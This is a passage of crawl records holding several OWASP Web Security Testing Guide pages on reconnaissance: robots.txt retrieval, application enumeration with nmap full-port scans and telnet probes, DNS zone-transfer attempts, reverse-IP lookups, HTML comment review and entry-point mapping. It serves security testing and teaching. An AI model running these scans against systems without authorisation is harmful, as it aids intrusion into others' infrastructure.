spiders/robots/crawlers. In the example above, directories such as the following are prohibited:\n\n```\n...\nDisallow: /search\nDisallow: /sdch\nDisallow: /groups\nDisallow: /images\nDisallow: /catalogs\n...\n```\n\nWeb spiders/robots/crawlers can [intentionally ignore](https://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html) the `Disallow` directives specified in a robots.txt file, such as those from [Social Networks](https://www.htbridge.com/news/social_networks_can_robots_violate_user_privacy.html) to ensure that shared linked are still valid. Hence, robots.txt should not be considered as a mechanism to enforce restrictions on how web content is accessed, stored, or republished by third parties.\n\n#### robots.txt in Webroot - with `Wget` or `Curl`\n\nThe robots.txt file is retrieved from the web root directory of the web server. For example, to retrieve the robots.txt from `www.google.com` using `wget` or `curl`:\n\n```\n$ wget http://www.google.com/robots.txt\n--2013-08-11 14:40:36-- http://www.google.com/robots.txt\nResolving www.google.com... 74.125.237.17, 74.125.237.18, 74.125.237.19, ...\nConnecting to www.google.com|74.125.237.17|:80... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: unspecified [text/plain]\nSaving to: ‘robots.txt.1’\n\n[ <=> ] 7,074 --.-K/s in 0s\n\n2013-08-11 14:40:37 (59.7 MB/s) - ‘robots.txt’ saved [7074]\n\n$ head -n5 robots.txt\nUser-agent: *\nDisallow: /search\nDisallow: /sdch\nDisallow: /groups\nDisallow: /images\n$ $ curl -O http://www.google.com/robots.txt\n% Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n101 7074 0 7074 0 0 9410 0 --:--:-- --:--:-- --:--:-- 27312\n\n$ head -n5 robots.txt\nUser-agent: *\nDisallow: /search\nDisallow: /sdch\nDisallow: /groups\nDisallow: /images\n$ \n```\n\n#### robots.txt in Webroot - with Rockspider\n\n[rockspider](https://github.com/cmlh/rockspider/) automates the creation of the initial scope for Spiders/Robots/Crawlers of files and directories/folders of a web site.\n\nFor example, to create the initial scope based on the `Allowed`: directive from `www.google.com` using [rockspider](https://www.smh.com.au/technology/telstra-customer-database-exposed-20111209-1on60.html):\n\n```\n$ ./rockspider.pl -www www.google.com\n\"Rockspider\" Alpha v0.1_2\n\nCopyright 2013 Christian Heinrich\nLicensed under the Apache License, Version 2.0\n\n1. Downloading http://www.google.com/robots.txt\n2. \"robots.txt\" saved as \"www.google.com-robots.txt\"\n3. Sending Allow: URIs of www.google.com to web proxy i.e. 127.0.0.1:8080\n /catalogs/about sent\n /catalogs/p? sent\n /news/directory sent\n ...\n4. Done.\n\n$ \n```\n\n#### Analyze robots.txt Using Google Webmaster Tools\n\nWeb site owners can use the Google “Analyze robots.txt” function to analyse the website as part of its [Google Webmaster Tools](https://www.google.com/webmasters/tools). This tool can assist with testing and the procedure is as follows:\n\n1. Sign into Google Webmaster Tools with a Google account.\n2. On the dashboard, write the URL for the site to be analyzed.\n3. Choose between the available methods and follow the on screen instruction.\n\n### META Tag\n\n`` tags are located within the HEAD section of each HTML Document and should be consistent across a web site in the likely event that the robot/spider/crawler start point does not begin from a document link other than webroot i.e. a [deep link](https://en.wikipedia.org/wiki/Deep_linking).\n\nIf there is no `` entry then the “Robots Exclusion Protocol” defaults to `INDEX,FOLLOW` respectively. Therefore, the other two valid entries defined by the “Robots Exclusion Protocol” are prefixed with `NO...` i.e. `NOINDEX` and `NOFOLLOW`.\n\nWeb spiders/robots/crawlers can intentionally ignore the `` Tag specified by the “Robots Exclusion Protocol” yet `Disallow: /ac.php` is listed in robots.txt.\n\n## Tools\n\n- Browser (View Source function)\n- curl\n- wget\n- [rockspider](https://github.com/cmlh/rockspider)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6518, "slov": 845, "odkazu": 187, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:48", "sha256": "8830488039becb5fa047284e5130c8dcf3f155edb8587df263e184c000fe4906", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.robotstxt.org/", "https://www.google.com/robots.txt", "https://support.google.com/webmasters/answer/6062608?rd=1&visit_id=637173940975499736-3548411022", "https://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html", "https://www.htbridge.com/news/social_networks_can_robots_violate_user_privacy.html", "https://github.com/cmlh/rockspider/", "https://www.smh.com.au/technology/telstra-customer-database-exposed-20111209-1on60.html", "https://www.google.com/webmasters/tools", "https://en.wikipedia.org/wiki/Deep_linking", "http://facebook.com/robots.txt", "https://github.com/cmlh/rockspider", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Enumerate Applications on Webserver"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Approaches to Address Issue 1 - Non-standard URLs"}, {"uroven": 4, "text": "Approaches to Address Issue 2 - Non-standard Ports"}, {"uroven": 4, "text": "Approaches to Address Issue 3 - Virtual Hosts"}, {"uroven": 5, "text": "DNS Zone Transfers"}, {"uroven": 5, "text": "DNS Inverse Queries"}, {"uroven": 5, "text": "Web-based DNS Searches"}, {"uroven": 5, "text": "Reverse-IP Services"}, {"uroven": 5, "text": "Googling"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.1\n\n# Enumerate Applications on Webserver\n\n| ID |\n| --- |\n| WSTG-INFO-04 |\n\n## Summary\n\nA paramount step in testing for web application vulnerabilities is to find out which particular applications are hosted on a web server. Many applications have known vulnerabilities and known attack strategies that can be exploited in order to gain remote control or to exploit data. In addition, many applications are often misconfigured or not updated, due to the perception that they are only used “internally” and therefore no threat exists.\nWith the proliferation of virtual web servers, the traditional 1:1-type relationship between an IP address and a web server is losing much of its original significance. It is not uncommon to have multiple web sites or applications whose symbolic names resolve to the same IP address. This scenario is not limited to hosting environments, but also applies to ordinary corporate environments as well.\n\nSecurity professionals are sometimes given a set of IP addresses as a target to test. It is arguable that this scenario is more akin to a penetration test-type engagement, but in any case it is expected that such an assignment would test all web applications accessible through this target. The problem is that the given IP address hosts an HTTP service on port 80, but if a tester should access it by specifying the IP address (which is all they know) it reports “No web server configured at this address” or a similar message. But that system could “hide” a number of web applications, associated to unrelated symbolic (DNS) names. Obviously, the extent of the analysis is deeply affected by the tester tests all applications or only tests the applications that they are aware of.\n\nSometimes, the target specification is richer. The tester may be given a list of IP addresses and their corresponding symbolic names. Nevertheless, this list might convey partial information, i.e., it could omit some symbolic names and the client may not even being aware of that (this is more likely to happen in large organizations).\n\nOther issues affecting the scope of the assessment are represented by web applications published at non-obvious URLs (e.g., `http://www.example.com/some-strange-URL`), which are not referenced elsewhere. This may happen either by error (due to misconfigurations), or intentionally (for example, unadvertised administrative interfaces).\n\nTo address these issues, it is necessary to perform web application discovery.\n\n## Test Objectives\n\nEnumerate the applications within scope that exist on a web server\n\n## How to Test\n\n### Black-Box Testing\n\nWeb application discovery is a process aimed at identifying web applications on a given infrastructure. The latter is usually specified as a set of IP addresses (maybe a net block), but may consist of a set of DNS symbolic names or a mix of the two. This information is handed out prior to the execution of an assessment, be it a classic-style penetration test or an application-focused assessment. In both cases, unless the rules of engagement specify otherwise (e.g., test only the application located at the URL `http://www.example.com/`), the assessment should strive to be the most comprehensive in scope, i.e. it should identify all the applications accessible through the given target. The following examples examine a few techniques that can be employed to achieve this goal.\n\n> Some of the following techniques apply to Internet-facing web servers, namely DNS and reverse-IP web-based search services and the use of search engines. Examples make use of private IP addresses (such as `192.168.1.100`), which, unless indicated otherwise, represent *generic* IP addresses and are used only for anonymity purposes.\n\nThere are three factors influencing how many applications are related to a given DNS name (or an IP address):\n\n1. **Different Base URL** The obvious entry point for a web application is `www.example.com`, i.e., with this shorthand notation we think of the web application originating at `http://www.example.com/` (the same applies for https). However, even though this is the most common situation, there is nothing forcing the application to start at `/`. For example, the same symbolic name may be associated to three web applications such as: `http://www.example.com/url1` `http://www.example.com/url2` `http://www.example.com/url3` In this case, the URL `http://www.example.com/` would not be associated with a meaningful page, and the three applications would be **hidden**, unless the tester explicitly knows how to reach them, i.e., the tester knows *url1*, *url2* or *url3*. There is usually no need to publish web applications in this way, unless the owner doesn’t want them to be accessible in a standard way, and is prepared to inform the users about their exact location. This doesn’t mean that these applications are secret, just that their existence and location is not explicitly advertised.\n2. **Non-standard Ports** While web applications usually live on port 80 (http) and 443 (https), there is nothing magic about these port numbers. In fact, web applications may be associated with arbitrary TCP ports, and can be referenced by specifying the port number as follows: `http\\[s\\]://www.example.com:port/`. For example, `http://www.example.com:20000/`.\n3. **Virtual Hosts** DNS allows a single IP address to be associated with one or more symbolic names. For example, the IP address `192.168.1.100` might be associated to DNS names `www.example.com`, `helpdesk.example.com`, `webmail.example.com`. It is not necessary that all the names belong to the same DNS domain. This 1-to-N relationship may be reflected to serve different content by using so called virtual hosts. The information specifying the virtual host we are referring to is embedded in the HTTP 1.1 [Host header](https://tools.ietf.org/html/rfc2616#section-14.23). One would not suspect the existence of other web applications in addition to the obvious `www.example.com`, unless they know of `helpdesk.example.com` and `webmail.example.com`.\n\n#### Approaches to Address Issue 1 - Non-standard URLs\n\nThere is no way to fully ascertain the existence of non-standard-named web applications. Being non-standard, there is no fixed criteria governing the naming convention, however there are a number of techniques that the tester can use to gain some additional insight.\n\nFirst, if the web server is mis-configured and allows directory browsing, it may be possible to spot these applications. Vulnerability scanners may help in this respect.\n\nSecond, these applications may be referenced by other web pages and there is a chance that they have been spidered and indexed by web search engines. If testers suspect the existence of such **hidden** applications on `www.example.com` they could search using the *site* operator and examining the result of a query for `site: www.example.com`. Among the returned URLs there could be one pointing to such a non-obvious application.\n\nAnother option is to probe for URLs which might be likely candidates for non-published applications. For example, a web mail front end might be accessible from URLs such as `https://www.example.com/webmail`, `https://webmail.example.com/`, or `https://mail.example.com/`. The same holds for administrative interfaces, which may be published at hidden URLs (for example, a Tomcat administrative interface), and yet not referenced anywhere. So doing a bit of dictionary-style searching (or “intelligent guessing”) could yield some results. Vulnerability scanners may help in this respect.\n\n#### Approaches to Address Issue 2 - Non-standard Ports\n\nIt is easy to check for the existence of web applications on non-standard ports. A port scanner such as nmap is capable of performing service recognition by means of the `-sV` option, and will identify http[s] services on arbitrary ports. What is required is a full scan of the whole 64k TCP port address space.\n\nFor example, the following command will look up, with a TCP connect scan, all open ports on IP `192.168.1.100` and will try to determine what services are bound to them (only *essential* switches are shown – nmap features a broad set of options, whose discussion is out of scope):\n\n`nmap –PN –sT –sV –p0-65535 192.168.1.100`\n\nIt is sufficient to examine the output and look for http or the indication of SSL-wrapped services (which should be probed to confirm that they are https). For example, the output of the previous command could look like:\n\n```\nInteresting ports on 192.168.1.100:\n(The 65527 ports scanned but not shown below are in state: closed)\nPORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)\n80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))\n443/tcp open ssl OpenSSL\n901/tcp open http Samba SWAT administration server\n1241/tcp open ssl Nessus security scanner\n3690/tcp open unknown\n8000/tcp open http-alt?\n8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1\n```\n\nFrom this example, one see that:\n\n- There is an Apache HTTP server running on port 80.\n- It looks like there is an HTTPS server on port 443 (but this needs to be confirmed, for example, by visiting `https://192.168.1.100` with a browser).\n- On port 901 there is a Samba SWAT web interface.\n- The service on port 1241 is not HTTPS, but is the SSL-wrapped Nessus daemon.\n- Port 3690 features an unspecified service (nmap gives back its *fingerprint* - here omitted for clarity - together with instructions to submit it for incorporation in the nmap fingerprint database, provided you know which service it represents).\n- Another unspecified service on port 8000; this might possibly be HTTP, since it is not uncommon to find HTTP servers on this port. Let’s examine this issue:\n\n```\n$ telnet 192.168.10.100 8000\nTrying 192.168.1.100...\nConnected to 192.168.1.100.\nEscape character is '^]'.\nGET / HTTP/1.0\n\nHTTP/1.0 200 OK\npragma: no-cache\nContent-Type: text/html\nServer: MX4J-HTTPD/1.0\nexpires: now\nCache-Control: no-cache\n\n\n...\n```\n\nThis confirms that in fact it is an HTTP server. Alternatively, testers could have visited the URL with a web browser; or used the GET or HEAD Perl commands, which mimic HTTP interactions such as the one given above (however HEAD requests may not be honored by all servers).\n\n- Apache Tomcat running on port 8080.\n\nThe same task may be performed by vulnerability scanners, but first check that the scanner of choice is able to identify HTTP[S] services running on non-standard ports. For example, Nessus is capable of identifying them on arbitrary ports (provided it is instructed to scan all the ports), and will provide, with respect to nmap, a number of tests on known web server vulnerabilities, as well as on the SSL configuration of HTTPS services. As hinted before, Nessus is also able to spot popular applications or web interfaces which could otherwise go unnoticed (for example, a Tomcat administrative interface).\n\n#### Approaches to Address Issue 3 - Virtual Hosts\n\nThere are a number of techniques which may be used to identify DNS names associated to a given IP address `x.y.z.t`.\n\n##### DNS Zone Transfers\n\nThis technique has limited use nowadays, given the fact that zone transfers are largely not honored by DNS servers. However, it may be worth a try. First of all, testers must determine the name servers serving `x.y.z.t`. If a symbolic name is known for `x.y.z.t` (let it be `www.example.com`), its name servers can be determined by means of tools such as `nslookup`, `host`, or `dig`, by requesting DNS NS records.\n\nIf no symbolic names are known for `x.y.z.t`, but the target definition contains at least a symbolic name, testers may try to apply the same process and query the name server of that name (hoping that `x.y.z.t` will be served as well by that name server). For example, if the target consists of the IP address `x.y.z.t` and the name `mail.example.com`, determine the name servers for domain `example.com`.\n\nThe following example shows how to identify the name servers for `www.owasp.org` by using the `host` command:\n\n```\n$ host -t ns www.owasp.org\nwww.owasp.org is an alias for owasp.org.\nowasp.org name server ns1.secure.net.\nowasp.org name server ns2.secure.net.\n```\n\nA zone transfer may now be requested to the name servers for domain `example.com`. If the tester is lucky, they will get back a list of the DNS entries for this domain. This will include the obvious `www.example.com` and the not-so-obvious `helpdesk.example.com` and `webmail.example.com` (and possibly others). Check all names returned by the zone transfer and consider all of those which are related to the target being evaluated.\n\nTrying to request a zone transfer for `owasp.org` from one of its name servers:\n\n```\n$ host -l www.owasp.org ns1.secure.net\nUsing domain server:\nName: ns1.secure.net\nAddress: 192.220.124.10#53\nAliases:\n\nHost www.owasp.org not found: 5(REFUSED) ; Transfer failed.\n```\n\n##### DNS Inverse Queries\n\nThis process is similar to the previous one, but relies on inverse (PTR) DNS records. Rather than requesting a zone transfer, try setting the record type to PTR and issue a query on the given IP address. If the testers are lucky, they may get back a DNS name entry. This technique relies on the existence of IP-to-symbolic name maps, which is not guaranteed.\n\n##### Web-based DNS Searches\n\nThis kind of search is akin to DNS zone transfer, but relies on web-based services that enable name-based searches on DNS. One such service is the [Netcraft Search DNS](https://searchdns.netcraft.com/?host) service. The tester may query for a list of names belonging to your domain of choice, such as `example.com`. Then they will check whether the names they obtained are pertinent to the target they are examining.\n\n##### Reverse-IP Services\n\nReverse-IP services are similar to DNS inverse queries, with the difference that the testers query a web-based application instead of a name server. There are a number of such services available. Since they tend to return partial (and often different) results, it is better to use multiple services to obtain a more comprehensive analysis.\n\n[Domain Tools Reverse IP](https://www.domaintools.com/reverse-ip/) (requires free membership)\n\n[Bing](https://bing.com), syntax: `ip:x.x.x.x`\n\n[Webhosting Info](http://whois.webhosting.info/), syntax: `http://whois.webhosting.info/x.x.x.x`\n\n[DNSstuff](https://www.dnsstuff.com/) (multiple services available)\n\n[Net Square](https://web.archive.org/web/20190515092354/http://www.net-square.com/mspawn.html) (multiple queries on domains and IP addresses, requires installation)\n\nThe following example shows the result of a query to one of the above reverse-IP services to `216.48.3.18`, the IP address of www.owasp.org. Three additional non-obvious symbolic names mapping to the same address have been revealed.\n\n*Figure 4.1.4-1: OWASP Whois Info*\n\n##### Googling\n\nFollowing information gathering from the previous techniques, testers can rely on search engines to possibly refine and increment their analysis. This may yield evidence of additional symbolic names belonging to the target, or applications accessible via non-obvious URLs.\n\nFor instance, considering the previous example regarding `www.owasp.org`, the tester could query Google and other search engines looking for information (hence, DNS names) related to the newly discovered domains of `webgoat.org`, `webscarab.com`, and `webscarab.net`.\n\nGoogling techniques are explained in [Testing: Spiders, Robots, and Crawlers](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage).\n\n### Gray-Box Testing\n\nNot applicable. The methodology remains the same as listed in black-box testing no matter how much information the tester starts with.\n\n## Tools\n\n- DNS lookup tools such as `nslookup` , `dig` and similar.\n- Search engines (Google, Bing and other major search engines).\n- Specialized DNS-related web-based search service: see text.\n- [Nmap](https://nmap.org/)\n- [Nessus Vulnerability Scanner](https://www.tenable.com/products/nessus)\n- [Nikto](https://www.cirt.net/nikto2)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 15965, "slov": 2473, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:49", "sha256": "58ffc57e73130b5be05650f4c23288137c1ed3143a7278e90585755de4e382cd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://tools.ietf.org/html/rfc2616", "https://searchdns.netcraft.com/?host=", "https://www.domaintools.com/reverse-ip/", "https://bing.com/", "http://whois.webhosting.info/", "https://www.dnsstuff.com/", "http://www.net-square.com/mspawn.html", "https://nmap.org/", "https://www.tenable.com/products/nessus", "https://www.cirt.net/nikto2", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Webpage_Comments_and_Metadata_for_Information_Leakage", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Webpage_Comments_and_Metadata_for_Information_Leakage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Webpage_Comments_and_Metadata_for_Information_Leakage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Review Webpage Comments and Metadata for Information Leakage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Review Webpage Comments and Metadata for Information Leakage\n\n| ID |\n| --- |\n| WSTG-INFO-05 |\n\n## Summary\n\nIt is very common, and even recommended, for programmers to include detailed comments and metadata on their source code. However, comments and metadata included into the HTML code might reveal internal information that should not be available to potential attackers. Comments and metadata review should be done in order to determine if any information is being leaked.\n\n## Test Objectives\n\nReview webpage comments and metadata to better understand the application and to find any information leakage.\n\n## How to Test\n\nHTML comments are often used by the developers to include debugging information about the application. Sometimes they forget about the comments and they leave them on in production. Testers should look for HTML comments which start with “ “.\n\n### Black-Box Testing\n\nCheck HTML source code for comments containing sensitive information that can help the attacker gain more insight about the application. It might be SQL code, usernames and passwords, internal IP addresses, or debugging information.\n\n```\n...\n\n
1
Mary
2
Peter
3
Joe
\n...\n```\n\nThe tester may even find something like this:\n\n```\n \n```\n\nCheck HTML version information for valid version numbers and Data Type Definition (DTD) URLs\n\n```\n \n```\n\n- `strict.dtd` – default strict DTD\n- `loose.dtd` – loose DTD\n- `frameset.dtd` – DTD for frameset documents\n\nSome Meta tags do not provide active attack vectors but instead allow an attacker to profile an application to\n\n```\n \n```\n\nA common (but not WCAG compliant) Meta tag is the refresh.\n\n```\n \n```\n\nA common use for Meta tag is to specify keywords that a search engine may use to improve the quality of search results.\n\n```\n \n```\n\nAlthough most web servers manage search engine indexing via the robots.txt file, it can also be managed by Meta tags. The tag below will advise robots to not index and not follow links on the HTML page containing the tag.\n\n```\n` `\n```\n\nThe Platform for Internet Content Selection (PICS) and Protocol for Web Description Resources (POWDER) provide infrastructure for associating meta data with Internet content.\n\n### Gray-Box Testing\n\nNot applicable.\n\n## Tools\n\n- [Wget](https://www.gnu.org/software/wget/wget.html)\n- Browser “view source” function\n- Eyeballs\n- [Curl](https://curl.haxx.se/)\n\n## References\n\n### Whitepapers\n\n- [HTML version 4.01](https://www.w3.org/TR/1999/REC-html401-19991224)\n- [XHTML](https://www.w3.org/TR/2010/REC-xhtml-basic-20101123/)\n- [HTML version 5](https://www.w3.org/TR/html5/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3174, "slov": 419, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:50", "sha256": "6a2af88aebe8e66a34a985960d21ad328d7150a7e8fb58e42310bbb2b504bf93", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.gnu.org/software/wget/wget.html", "https://curl.haxx.se/", "https://www.w3.org/TR/1999/REC-html401-19991224", "https://www.w3.org/TR/2010/REC-xhtml-basic-20101123/", "https://www.w3.org/TR/html5/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Identify Application Entry Points"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Requests"}, {"uroven": 3, "text": "Responses"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Testing for Application Entry Points"}, {"uroven": 4, "text": "EXAMPLE 1"}, {"uroven": 4, "text": "EXAMPLE 2"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "OWASP Attack Surface Detector"}, {"uroven": 5, "text": "How to Use"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Identify Application Entry Points\n\n| ID |\n| --- |\n| WSTG-INFO-06 |\n\n## Summary\n\nEnumerating the application and its attack surface is a key precursor before any thorough testing can be undertaken, as it allows the tester to identify likely areas of weakness. This section aims to help identify and map out areas within the application that should be investigated once enumeration and mapping have been completed.\n\n## Test Objectives\n\nUnderstand how requests are formed and typical responses from the application\n\n## How to Test\n\nBefore any testing begins, the tester should always get a good understanding of the application and how the user and browser communicates with it. As the tester walks through the application, they should pay attention to all HTTP requests as well as every parameter and form field that is passed to the application. They should pay special attention to when GET requests are used and when POST requests are used to pass parameters to the application. In addition, they also need to pay attention to when other methods for RESTful services are used.\n\nNote that in order to see the parameters sent in the body of requests such as a POST request, the tester may want to use a tool such as an intercepting proxy (See tools). Within the POST request, the tester should also make special note of any hidden form fields that are being passed to the application, as these usually contain sensitive information, such as state information, quantity of items, the price of items, that the developer never intended for you to see or change.\n\nIn the author’s experience, it has been very useful to use an intercepting proxy and a spreadsheet for this stage of the testing. The proxy will keep track of every request and response between the tester and the application as they walk through it. Additionally, at this point, testers usually trap every request and response so that they can see exactly every header, parameter, etc. that is being passed to the application and what is being returned. This can be quite tedious at times, especially on large interactive sites (think of a banking application). However, experience will show what to look for and this phase can be significantly reduced.\n\nAs the tester walks through the application, they should take note of any interesting parameters in the URL, custom headers, or body of the requests/responses, and save them in a spreadsheet. The spreadsheet should include the page requested (it might be good to also add the request number from the proxy, for future reference), the interesting parameters, the type of request (POST/GET), if access is authenticated/unauthenticated, if SSL is used, if it’s part of a multi-step process, and any other relevant notes. Once they have every area of the application mapped out, then they can go through the application and test each of the areas that they have identified and make notes for what worked and what didn’t work. The rest of this guide will identify how to test each of these areas of interest, but this section must be undertaken before any of the actual testing can commence.\n\nBelow are some points of interests for all requests and responses. Within the requests section, focus on the GET and POST methods, as these appear the majority of the requests. Note that other methods, such as PUT and DELETE, can be used. Often, these more rare requests, if allowed, can expose vulnerabilities. There is a special section in this guide dedicated for testing these HTTP methods.\n\n### Requests\n\n- Identify where GETs are used and where POSTs are used.\n- Identify all parameters used in a POST request (these are in the body of the request).\n- Within the POST request, pay special attention to any hidden parameters. When a POST is sent all the form fields (including hidden parameters) will be sent in the body of the HTTP message to the application. These typically aren’t seen unless a proxy or view the HTML source code is used. In addition, the next page shown, its data, and the level of access can all be different depending on the value of the hidden parameter(s).\n- Identify all parameters used in a GET request (i.e., URL), in particular the query string (usually after a ? mark).\n- Identify all the parameters of the query string. These usually are in a pair format, such as `foo=bar` . Also note that many parameters can be in one query string such as separated by a `&` , `\\~` , `:` , or any other special character or encoding.\n- A special note when it comes to identifying multiple parameters in one string or within a POST request is that some or all of the parameters will be needed to execute the attacks. The tester needs to identify all of the parameters (even if encoded or encrypted) and identify which ones are processed by the application. Later sections of the guide will identify how to test these parameters. At this point, just make sure each one of them is identified.\n- Also pay attention to any additional or custom type headers not typically seen (such as debug=False).\n\n### Responses\n\n- Identify where new cookies are set (Set-Cookie header), modified, or added to.\n- Identify where there are any redirects (3xx HTTP status code), 400 status codes, in particular 403 Forbidden, and 500 internal server errors during normal responses (i.e., unmodified requests).\n- Also note where any interesting headers are used. For example, “Server: BIG-IP” indicates that the site is load balanced. Thus, if a site is load balanced and one server is incorrectly configured, then the tester might have to make multiple requests to access the vulnerable server, depending on the type of load balancing used.\n\n### Black-Box Testing\n\n#### Testing for Application Entry Points\n\nThe following are two examples on how to check for application entry points.\n\n#### EXAMPLE 1\n\nThis example shows a GET request that would purchase an item from an online shopping application.\n\n```\nGET /shoppingApp/buyme.asp?CUSTOMERID=100&ITEM=z101a&PRICE=62.50&IP=x.x.x.x HTTP/1.1\nHost: x.x.x.x\nCookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIGZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy\n```\n\n> Here the tester would note all the parameters of the request such as CUSTOMERID, ITEM, PRICE, IP, and the Cookie (which could just 